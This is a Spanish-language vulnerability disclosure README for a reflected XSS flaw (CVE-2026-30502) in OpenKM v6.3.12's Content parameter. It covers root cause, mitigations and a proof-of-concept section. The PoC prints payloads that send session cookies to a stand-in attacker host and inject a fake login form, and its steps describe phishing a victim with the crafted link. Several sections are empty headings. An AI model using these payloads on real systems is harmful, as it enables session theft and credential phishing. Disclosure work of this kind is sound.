🛡️ CVE-2026-30502 — XSS Reflejado en OpenKM v6.3.12

📌 Tabla de Contenidos

• Resumen
• Detalles del CVE
• Producto Afectado
• Descripción de la Vulnerabilidad
• Análisis de Causa Raíz
• Impacto y Evaluación de Riesgos
• Prueba de Concepto (PoC)
• Remediación y Recomendaciones
• Cronograma de Divulgación
• Referencias
• Acerca del Investigador

🔍 Resumen

Este repositorio documenta la divulgación responsable de CVE-2026-30502, una vulnerabilidad de Cross-Site Scripting Reflejado (XSS) identificada en OpenKM v6.3.12 — un sistema de gestión documental de código abierto ampliamente utilizado en entornos empresariales y gubernamentales.

La vulnerabilidad existe en el parámetro Content, que refleja la entrada proporcionada por el usuario de vuelta al navegador sin una sanitización o codificación de salida adecuada. Un atacante puede crear una URL maliciosa que contenga JavaScript incrustado y engañar a una víctima para que haga clic en ella, lo que resulta en la ejecución del script dentro de la sesión del navegador de la víctima.

⚠️ Gravedad: Medio–Alto | Vector de Ataque: Red | Privilegios Requeridos: Ninguno | Interacción del Usuario: Requerida

📋 Detalles del CVE

📦 Producto Afectado

OpenKM es un sistema de gestión documental (DMS) gratuito y de código abierto que proporciona una interfaz web para gestionar, auditar y distribuir documentos empresariales. Es utilizado por empresas, organismos gubernamentales e instituciones educativas en todo el mundo.

• Nombre del Producto: Sistema de Gestión Documental OpenKM
• Versión Afectada: v6.3.12
• Sitio Web del Proveedor: https://www.openkm.com
• Categoría: Sistema de Gestión Documental (DMS)
• Lenguaje / Stack: Java (JSP / Spring Framework)

🧨 Descripción de la Vulnerabilidad

Se identificó una vulnerabilidad de Cross-Site Scripting Reflejado (XSS) en OpenKM v6.3.12 a través del parámetro Content. La aplicación no valida ni codifica la entrada proporcionada por el usuario antes de reflejarla en el cuerpo de la respuesta HTTP, lo que permite inyectar y ejecutar JavaScript arbitrario en el navegador de la víctima.

A diferencia del XSS Almacenado, la carga útil del XSS Reflejado no se persiste en la base de datos — en su lugar, viaja dentro de una URL manipulada. El ataque depende de que la víctima sea engañada para hacer clic en un enlace malicioso (entregado por correo electrónico, redes sociales o campañas de phishing), tras lo cual la carga útil se ejecuta silenciosamente en su navegador con el contexto de la sesión de la víctima.

Flujo del Ataque

El atacante crea una URL maliciosa
        │
        ▼
La víctima hace clic en el enlace (phishing / ingeniería social)
        │
        ▼
El navegador envía una solicitud GET/POST con la carga útil en el parámetro `Content`
        │
        ▼
OpenKM refleja la entrada sin sanitizar directamente en la respuesta HTML
        │
        ▼
El navegador analiza y ejecuta el JavaScript inyectado
        │
        ▼
Sesión secuestrada / credenciales robadas / cuenta comprometida

🔬 Análisis de Causa Raíz

La vulnerabilidad se debe a que la aplicación no aplica controles de seguridad de entrada-salida en el parámetro Content:

URL creada por el usuario ──► Parámetro Content ──► [SIN Validación]
       ──► Reflejado en la Respuesta HTML ──► [SIN Codificación]
              ──► El Navegador Ejecuta el Script ──► Cuenta Comprometida

💥 Impacto y Evaluación de Riesgos

Una explotación exitosa de esta vulnerabilidad puede llevar a:

🧪 Prueba de Concepto (PoC)

⚠️ Aviso: La siguiente información se comparte estrictamente con fines educativos y de investigación en seguridad bajo los principios de divulgación responsable. No pruebe ni utilice esto contra sistemas que no posea o para los cuales no tenga autorización explícita por escrito.

Ejemplos de Carga Útil (Genéricos)

// Prueba básica de ejecución
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>

// Exfiltración de cookie de sesión
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>

// Superposición de phishing de credenciales
<script>
  var d=document.createElement('div');
  d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
    +'<input name="u" placeholder="Usuario"/>'
    +'<input name="p" type="password" placeholder="Contraseña"/>'
    +'<button>Iniciar Sesión</button></form>';
  document.body.prepend(d);
</script>

Estructura de URL Maliciosa Manipulada

https://instancia-openkm-objetivo/[endpoint-vulnerable]?Content=<script>alert(1)</script>

Pasos para Reproducir

1. Identifique el endpoint vulnerable en OpenKM v6.3.12 que refleja el parámetro Content
2. Cree una URL añadiendo una carga útil XSS al parámetro Content
3. Codifique la URL de la carga útil si es necesario
4. Envíe el enlace manipulado a una víctima por correo electrónico, chat o cualquier vector de ingeniería social
5. Cuando la víctima abra el enlace en su sesión autenticada del navegador, la carga útil se ejecuta
6. Observe la ejecución de JavaScript, el robo de cookies o el comportamiento de redirección

🛠️ Remediación y Recomendaciones

Para Desarrolladores / Proveedores

Para Administradores de Sistemas

• 🔒 Restringir el acceso a OpenKM a redes internas/de confianza mediante reglas de firewall
• 🛡️ Implementar un Firewall de Aplicaciones Web (WAF) con firmas de detección de XSS como control compensatorio
• 📊 Monitorear los registros de acceso del servidor web en busca de etiquetas script inesperadas o cargas útiles codificadas en las cadenas de consulta
• 🔄 Mantener la instalación de OpenKM actualizada a la versión segura más reciente
• 📧 Capacitar a los usuarios para que tengan cuidado al hacer clic en enlaces no solicitados hacia el DMS

📅 Cronograma de Divulgación

Se siguieron principios completos de divulgación responsable durante todo este proceso, incluyendo la coordinación con el proveedor y la interacción con el Programa CVE antes de cualquier publicación pública.

📚 Referencias

• 🔗 Entrada CVE de MITRE — CVE-2026-30502
• 🔗 NVD — Base de Datos Nacional de Vulnerabilidades
• 🔗 Sitio Oficial de OpenKM
• 🔗 Hoja de Referencia de Prevención de XSS de OWASP
• 🔗 CWE-79: Cross-site Scripting
• 🔗 OWASP Top 10 — A03:2021 Injection
• 🔗 Codificador Java de OWASP

👨‍💻 Acerca del Investigador

Dharmendra Kumar es un investigador de ciberseguridad independiente especializado en seguridad de aplicaciones web, pruebas de penetración y divulgación responsable de vulnerabilidades. Su investigación se centra en identificar e informar de manera responsable fallos de seguridad reales en software ampliamente utilizado, contribuyendo a aplicaciones más seguras para los usuarios a nivel global.

Áreas de Especialización:

• 🌐 Pruebas de Penetración de Aplicaciones Web
• 🐛 Caza de Bugs y Investigación de CVE
• 🔍 Descubrimiento de Vulnerabilidades y Avisos de Seguridad
• 📋 Divulgación Responsable e Informes Coordinados de CVE

Conéctate conmigo:

⚖️ Aviso Legal

Este repositorio está destinado únicamente para fines educativos e informativos. Los detalles de la vulnerabilidad y las cargas útiles de prueba de concepto se publican de acuerdo con los principios de divulgación responsable. El autor no respalda ni se hace responsable de ningún uso no autorizado de esta información. Siempre obtenga permiso explícito por escrito antes de realizar pruebas de seguridad en cualquier sistema que no posea.

🙏 Agradecimientos

Agradecimientos especiales a:

• El equipo de desarrollo de OpenKM por su cooperación y capacidad de respuesta durante la divulgación coordinada
• El Programa CVE de MITRE por asignar y gestionar el identificador CVE
• La comunidad global de investigación en seguridad y bug bounty por elevar continuamente el nivel de la seguridad de las aplicaciones